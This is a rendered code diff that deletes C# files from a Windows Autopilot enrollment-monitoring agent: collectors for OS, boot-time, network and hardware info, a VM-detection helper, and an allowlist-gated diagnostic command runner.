if (data.ContainsKey("wifiRadioType"))
|
||||
message += $" ({data["wifiRadioType"]})";
|
||||
|
||||
EmitDeviceInfoEvent("wifi_signal_info", message, data);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"WiFi signal info collection failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void EmitDeviceInfoEvent(string eventType, string message, Dictionary<string, object> data)
|
||||
{
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = eventType,
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = message,
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
|
||||
private static string TryFormatJson(string input)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(input))
|
||||
return input ?? string.Empty;
|
||||
|
||||
try
|
||||
{
|
||||
using (var doc = JsonDocument.Parse(input))
|
||||
{
|
||||
return JsonSerializer.Serialize(doc.RootElement, new JsonSerializerOptions
|
||||
{
|
||||
WriteIndented = true
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return input;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-216
@@ -1,216 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Text.Json;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Collects static and semi-static device information at enrollment startup and end.
|
||||
/// Emits device info events (os_info, boot_time, network_adapters, dns_configuration,
|
||||
/// proxy_configuration, autopilot_profile, enrollment_type_detected, secureboot_status,
|
||||
/// bitlocker_status, aad_join_status) via the provided emitEvent action.
|
||||
/// </summary>
|
||||
public partial class DeviceInfoCollector
|
||||
{
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
private const string RegKeyWindowsCurrentVersion = @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion";
|
||||
|
||||
public DeviceInfoCollector(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
AgentLogger logger)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Runs all device info collectors at agent startup.
|
||||
/// Returns the detected enrollment type, Hybrid Join flag, and ESP skip configuration from registry.
|
||||
/// </summary>
|
||||
public (string enrollmentType, bool isHybridJoin, bool? skipUserStatusPage, bool? skipDeviceStatusPage, int? autopilotMode, bool hasAadJoinedUser, bool isFooUserDetected) CollectAll()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: collecting device info (at start)");
|
||||
|
||||
CollectOSInfoAndBootTime();
|
||||
CollectNetworkAndDnsConfiguration();
|
||||
CollectProxyConfiguration();
|
||||
var profileResult = CollectAutopilotProfile();
|
||||
var espConfig = CollectEspConfiguration();
|
||||
CollectSecureBootStatus();
|
||||
CollectBitLockerStatus();
|
||||
CollectTpmStatus();
|
||||
CollectAadJoinStatus();
|
||||
CollectActiveNetworkInterfaceInfo();
|
||||
CollectHardwareSpec();
|
||||
|
||||
return (profileResult.enrollmentType, profileResult.isHybridJoin, espConfig.skipUserStatusPage, espConfig.skipDeviceStatusPage, profileResult.autopilotMode, HasAadJoinedUser, IsFooUserDetected);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Re-collects enrollment-dependent device info that was likely empty/incomplete at startup.
|
||||
/// Called when DeviceSetup phase is first detected (ESP started = MDM enrollment + AAD join complete).
|
||||
/// Re-emits: aad_join_status, autopilot_profile, esp_config_detected, tpm_status.
|
||||
/// </summary>
|
||||
public void CollectAtEnrollmentStart()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: collecting device info (at enrollment start)");
|
||||
|
||||
CollectAadJoinStatus();
|
||||
CollectAutopilotProfile();
|
||||
CollectEspConfiguration();
|
||||
CollectTpmStatus();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Re-collects device info that may change during enrollment (e.g. BitLocker enabled via policy).
|
||||
/// Called at enrollment complete / FinalizingSetup transition to capture final state.
|
||||
/// </summary>
|
||||
public void CollectAtEnd()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: collecting device info (at end)");
|
||||
|
||||
// BitLocker can be enabled during enrollment via policy
|
||||
CollectBitLockerStatus();
|
||||
|
||||
// Re-collect active network interface info (link speed, WiFi signal may have changed)
|
||||
CollectActiveNetworkInterfaceInfo();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Collects OS info and boot time in a single WMI query against Win32_OperatingSystem.
|
||||
/// Previously these were three separate queries (Caption, LastBootUpTime via two searchers);
|
||||
/// consolidated to a single round-trip.
|
||||
/// Emits two events (os_info, boot_time) for backward compatibility.
|
||||
/// </summary>
|
||||
private void CollectOSInfoAndBootTime()
|
||||
{
|
||||
string osName = string.Empty;
|
||||
var bootData = new Dictionary<string, object>();
|
||||
|
||||
// Single WMI query for both Caption (OS name) and LastBootUpTime
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher("SELECT Caption, LastBootUpTime FROM Win32_OperatingSystem"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
osName = obj["Caption"]?.ToString() ?? string.Empty;
|
||||
|
||||
var lastBootUpTimeStr = obj["LastBootUpTime"]?.ToString();
|
||||
if (!string.IsNullOrEmpty(lastBootUpTimeStr))
|
||||
{
|
||||
var bootTimeLocal = ManagementDateTimeConverter.ToDateTime(lastBootUpTimeStr);
|
||||
var bootTimeUtc = DateTime.SpecifyKind(bootTimeLocal.ToUniversalTime(), DateTimeKind.Utc);
|
||||
|
||||
bootData["bootTimeUtc"] = bootTimeUtc.ToString("o");
|
||||
bootData["bootTime"] = bootTimeUtc.ToString("o");
|
||||
|
||||
var uptime = DateTime.UtcNow - bootTimeUtc;
|
||||
bootData["uptimeMinutes"] = (int)uptime.TotalMinutes;
|
||||
bootData["uptimeHours"] = uptime.TotalHours;
|
||||
|
||||
_logger.Debug($"Boot time (UTC): {bootTimeUtc:o}, Uptime: {uptime.TotalMinutes:F1} minutes");
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to query Win32_OperatingSystem: {ex.Message}");
|
||||
}
|
||||
|
||||
// Emit os_info event
|
||||
try
|
||||
{
|
||||
// Read individual registry values; reuse DeviceInfoProvider helpers where possible
|
||||
var edition = (Registry.GetValue(RegKeyWindowsCurrentVersion, "EditionID", string.Empty) ?? string.Empty).ToString();
|
||||
var compositionEdition = (Registry.GetValue(RegKeyWindowsCurrentVersion, "CompositionEditionID", string.Empty) ?? string.Empty).ToString();
|
||||
var currentBuild = (Registry.GetValue(RegKeyWindowsCurrentVersion, "CurrentBuild", string.Empty) ?? string.Empty).ToString();
|
||||
var buildBranch = (Registry.GetValue(RegKeyWindowsCurrentVersion, "BuildBranch", string.Empty) ?? string.Empty).ToString();
|
||||
var displayVersion = DeviceInfoProvider.GetOsDisplayVersion();
|
||||
var buildRevision = (Registry.GetValue(RegKeyWindowsCurrentVersion, "UBR", string.Empty) ?? string.Empty).ToString();
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "version", Environment.OSVersion.Version.ToString() },
|
||||
{ "osVersion", osName },
|
||||
{ "edition", edition },
|
||||
{ "compositionEdition", compositionEdition },
|
||||
{ "currentBuild", currentBuild },
|
||||
{ "buildBranch", buildBranch },
|
||||
{ "displayVersion", displayVersion },
|
||||
{ "buildRevision", buildRevision }
|
||||
};
|
||||
|
||||
var osVersion = osName;
|
||||
|
||||
var message = string.IsNullOrWhiteSpace(osVersion) ? "OS information collected" : osVersion;
|
||||
if (!string.IsNullOrWhiteSpace(displayVersion))
|
||||
{
|
||||
message += $" {displayVersion}";
|
||||
}
|
||||
|
||||
if (!string.IsNullOrWhiteSpace(currentBuild))
|
||||
{
|
||||
message += string.IsNullOrWhiteSpace(buildRevision)
|
||||
? $" (Build {currentBuild})"
|
||||
: $" (Build {currentBuild}.{buildRevision})";
|
||||
}
|
||||
|
||||
EmitDeviceInfoEvent("os_info", message, data);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect OS info: {ex.Message}");
|
||||
}
|
||||
|
||||
// Emit boot_time event
|
||||
try
|
||||
{
|
||||
if (!bootData.ContainsKey("bootTime"))
|
||||
{
|
||||
bootData["note"] = "Boot time could not be determined";
|
||||
}
|
||||
|
||||
EmitDeviceInfoEvent("boot_time",
|
||||
bootData.ContainsKey("bootTime")
|
||||
? $"Last boot: {bootData["bootTime"]}"
|
||||
: "Boot time unavailable",
|
||||
bootData);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to emit boot time event: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Collects network adapter and DNS configuration in a single WMI query.
|
||||
/// Previously these were two separate queries against Win32_NetworkAdapterConfiguration;
|
||||
/// consolidated to halve the WMI round-trips (each creates a new COM connection).
|
||||
/// Emits two events (network_adapters, dns_configuration) for backward compatibility.
|
||||
/// </summary>
|
||||
}
|
||||
}
|
||||
-179
@@ -1,179 +0,0 @@
|
||||
using System;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides device hardware and OS information via WMI and registry queries.
|
||||
/// </summary>
|
||||
public static class DeviceInfoProvider
|
||||
{
|
||||
public static string GetSerialNumber()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new System.Management.ManagementObjectSearcher("SELECT SerialNumber FROM Win32_BIOS"))
|
||||
{
|
||||
foreach (var obj in searcher.Get())
|
||||
{
|
||||
return obj["SerialNumber"]?.ToString() ?? "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
public static string GetManufacturer()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Manufacturer FROM Win32_ComputerSystem"))
|
||||
{
|
||||
foreach (var obj in searcher.Get())
|
||||
{
|
||||
return obj["Manufacturer"]?.ToString() ?? "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
public static string GetModel()
|
||||
{
|
||||
try
|
||||
{
|
||||
var manufacturer = GetManufacturer();
|
||||
if (manufacturer.IndexOf("lenovo", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
// Lenovo stores the friendly model name (e.g. "ThinkPad X1 Carbon Gen 9")
|
||||
// in Win32_ComputerSystemProduct.Version instead of Win32_ComputerSystem.Model
|
||||
// which only contains the internal type number (e.g. "20Y3S0FP00")
|
||||
using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Version FROM Win32_ComputerSystemProduct"))
|
||||
{
|
||||
foreach (var obj in searcher.Get())
|
||||
{
|
||||
return obj["Version"]?.ToString() ?? "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Model FROM Win32_ComputerSystem"))
|
||||
{
|
||||
foreach (var obj in searcher.Get())
|
||||
{
|
||||
return obj["Model"]?.ToString() ?? "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Coarse VM detection from Win32_ComputerSystem manufacturer + model.
|
||||
/// Conservative: false negatives are preferred over false positives — a misclassified
|
||||
/// physical box still gets the rule fired (status quo), a misclassified VM gets the
|
||||
/// rule skipped (the user-visible regression). The Microsoft Corporation case is the
|
||||
/// only ambiguous one — Surface devices share the manufacturer with Hyper-V VMs, so
|
||||
/// we disambiguate via the model string ("Virtual Machine" vs e.g. "Surface Laptop 5").
|
||||
///
|
||||
/// Used by the rule engine's preconditions feature to skip rules that don't apply
|
||||
/// inside VMs (e.g. Secure Boot CA 2023 — the firmware DB is host-controlled on
|
||||
/// Hyper-V/VMware/etc, the inside-the-VM registry status is not actionable).
|
||||
/// </summary>
|
||||
public static bool IsVirtualMachine(string manufacturer, string model)
|
||||
{
|
||||
var mfr = manufacturer ?? string.Empty;
|
||||
var mdl = model ?? string.Empty;
|
||||
|
||||
if (mfr.IndexOf("VMware", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| mfr.IndexOf("Xen", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| mfr.IndexOf("QEMU", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| mfr.IndexOf("innotek", StringComparison.OrdinalIgnoreCase) >= 0 // VirtualBox
|
||||
|| mfr.IndexOf("Parallels", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| mfr.IndexOf("Red Hat", StringComparison.OrdinalIgnoreCase) >= 0) // KVM/QEMU
|
||||
return true;
|
||||
|
||||
if (mdl.IndexOf("Virtual Machine", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
return true;
|
||||
|
||||
if (mdl.IndexOf("VMware", StringComparison.OrdinalIgnoreCase) >= 0
|
||||
|| mdl.IndexOf("VirtualBox", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public static string GetOsEdition()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"))
|
||||
{
|
||||
return key?.GetValue("EditionID")?.ToString() ?? "Unknown";
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the OS product name, e.g. "Microsoft Windows 11 Pro".
|
||||
/// Uses WMI Win32_OperatingSystem.Caption which is the authoritative source.
|
||||
/// </summary>
|
||||
public static string GetOsName()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new System.Management.ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
|
||||
{
|
||||
foreach (var obj in searcher.Get())
|
||||
{
|
||||
return obj["Caption"]?.ToString() ?? string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the real OS build string, e.g. "26220.7934" (CurrentBuild.UBR).
|
||||
/// Falls back to CurrentBuild alone if UBR is unavailable.
|
||||
/// </summary>
|
||||
public static string GetOsBuild()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"))
|
||||
{
|
||||
var currentBuild = key?.GetValue("CurrentBuild")?.ToString();
|
||||
if (string.IsNullOrEmpty(currentBuild))
|
||||
return string.Empty;
|
||||
|
||||
var ubr = key?.GetValue("UBR");
|
||||
return ubr != null ? $"{currentBuild}.{ubr}" : currentBuild;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the OS display version, e.g. "25H2", "24H2".
|
||||
/// </summary>
|
||||
public static string GetOsDisplayVersion()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"))
|
||||
{
|
||||
return key?.GetValue("DisplayVersion")?.ToString() ?? string.Empty;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
-109
@@ -1,109 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Text;
|
||||
using AutopilotMonitor.Agent.Core.Security;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather.Collectors
|
||||
{
|
||||
public class CommandCollector : IGatherRuleCollector
|
||||
{
|
||||
public string CollectorType => "command_allowlisted";
|
||||
|
||||
public Dictionary<string, object> Execute(GatherRule rule, GatherRuleContext context)
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
var command = rule.Target;
|
||||
|
||||
if (string.IsNullOrEmpty(command))
|
||||
return data;
|
||||
|
||||
// SECURITY: Check command against allowlist
|
||||
if (!GatherRuleGuards.IsCommandAllowed(command, context.UnrestrictedMode))
|
||||
{
|
||||
context.Logger.Warning($"SECURITY: Command blocked by allowlist: {command} (Rule: {rule.RuleId})");
|
||||
data["blocked"] = true;
|
||||
data["reason"] = "Command not on allowlist";
|
||||
data["command"] = command;
|
||||
|
||||
context.OnEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = context.SessionId,
|
||||
TenantId = context.TenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = "security_warning",
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "GatherRuleExecutor",
|
||||
Message = $"Blocked command not on allowlist: {command} (Rule: {rule.RuleId})",
|
||||
Data = data
|
||||
});
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var isPowerShell = !command.StartsWith("netsh", StringComparison.OrdinalIgnoreCase) &&
|
||||
!command.StartsWith("ipconfig", StringComparison.OrdinalIgnoreCase) &&
|
||||
!command.StartsWith("nltest", StringComparison.OrdinalIgnoreCase) &&
|
||||
!command.StartsWith("certutil", StringComparison.OrdinalIgnoreCase) &&
|
||||
!command.StartsWith("dsregcmd", StringComparison.OrdinalIgnoreCase);
|
||||
|
||||
ProcessStartInfo psi;
|
||||
if (isPowerShell)
|
||||
{
|
||||
// Use -EncodedCommand with Base64-encoded UTF-16LE to prevent command injection
|
||||
var encodedCommand = Convert.ToBase64String(Encoding.Unicode.GetBytes(command));
|
||||
psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = SystemPaths.PowerShell,
|
||||
Arguments = $"-NoProfile -ExecutionPolicy RemoteSigned -EncodedCommand {encodedCommand}",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = SystemPaths.Cmd,
|
||||
Arguments = $"/c {command}",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
}
|
||||
|
||||
using (var process = Process.Start(psi))
|
||||
{
|
||||
var output = process.StandardOutput.ReadToEnd();
|
||||
var error = process.StandardError.ReadToEnd();
|
||||
process.WaitForExit(30000); // 30 second timeout
|
||||
|
||||
data["command"] = command;
|
||||
data["exit_code"] = process.ExitCode;
|
||||
|
||||
if (!string.IsNullOrWhiteSpace(output))
|
||||
{
|
||||
data["output"] = output.Length > 32000 ? output.Substring(0, 32000) + "... (truncated)" : output;
|
||||
}
|
||||
|
||||
if (!string.IsNullOrWhiteSpace(error))
|
||||
{
|
||||
data["error_output"] = error.Length > 8000 ? error.Substring(0, 8000) + "... (truncated)" : error;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
data["error"] = ex.Message;
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user